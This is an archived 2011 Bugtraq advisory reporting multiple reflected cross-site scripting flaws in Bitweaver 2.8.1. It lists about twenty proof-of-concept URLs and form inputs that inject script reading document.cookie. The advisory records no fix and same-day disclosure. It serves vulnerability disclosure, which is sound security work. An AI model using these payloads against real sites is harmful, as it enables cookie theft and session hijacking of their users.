| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-Id: <201109290637.p8T6b3mU018201@sf01web3.securityfocus.com> Date: Thu, 29 Sep 2011 06:37:03 GMT From: sschurtz@...nline.de To: bugtraq@...urityfocus.com Subject: Bitweaver 2.8.1 Multiple Cross-site Scripting Vulnerabilities Advisory: Bitweaver 2.8.1 Multiple Cross-site Scripting Vulnerabilities Advisory ID: SSCHADV2011-021 Author: Stefan Schurtz Affected Software: Successfully tested on Bitweaver 2.8.1 Vendor URL: http://www.bitweaver.org Vendor Status: informed CVE-ID: - ========================== Vulnerability Description: ========================== Bitweaver 2.8.1 is prone to multiple Cross-Site scripting vulernabilities ================== Technical Details: ================== http://<target>/bitweaver/users/register.php/"</script><script>alert(document.cookie)</script> http://<target>/bitweaver/blogs/rankings.php/"</script><script>alert(document.cookie)</script> http://<target>/bitweaver/articles/edit.php/"</script><script>alert(document.cookie)</script> http://<target>/bitweaver/articles/list.php/"</script><script>alert(document.cookie)</script> http://<target>/bitweaver/calendar/index.php/"</script><script>alert(document.cookie)</script> http://<target>/bitweaver/events/list_events.php/"</script><script>alert(document.cookie)</script> http://<target>/bitweaver/events/index.php/"</script><script>alert(document.cookie)</script> http://<target>/bitweaver/pigeonholes/list.php/"</script><script>alert(document.cookie)</script> http://<target>/bitweaver/fisheye/index.php/"</script><script>alert(document.cookie)</script> http://<target>/bitweaver/recommends/index.php/"</script><script>alert(document.cookie)</script> http://<target>/bitweaver/rss/index.php/"</script><script>alert(document.cookie)</script> http://<target>/bitweaver/fisheye/list_galleries.php/"</script><script>alert(document.cookie)</script> http://<target>/bitweaver/tags/"</script><script>alert(document.cookie)</script> http://<target>/bitweaver/stencils/index.php/"</script><script>alert(document.cookie)</script> http://<target>/bitweaver/stencils/list_stencils.php/"</script><script>alert(document.cookie)</script> http://<target>/bitweaver/wiki/orphan_pages.php/"</script><script>alert(document.cookie)</script> http://<target>/bitweaver/users/remind_password.php/"</script><script>alert(document.cookie)</script> http://<target>/bitweaver/blogs/list_blogs.php/"</script><script>alert(document.cookie)</script> http://<target>/bitweaver/liberty/list_content.php/"</script><script>alert(document.cookie)</script> http://<target>/bitweaver/quicktags/special_chars.php?textarea_id=');"/><script>alert(document.cookie);</script> http://<target>/bitweaver/users/register.php -> Email -> '"</script><script>alert(document.cookie)</script> -> Register ========= Solution: ========= - ==================== Disclosure Timeline: ==================== 29-Sep-2011 - informed developers 29-Sep-2011 - release date of this security advisory ======== Credits: ======== Vulnerabilities found and advisory written by Stefan Schurtz. =========== References: =========== http://www.bitweaver.org http://www.rul3z.de/advisories/SSCHADV2011-021.txt
Powered by blists - more mailing lists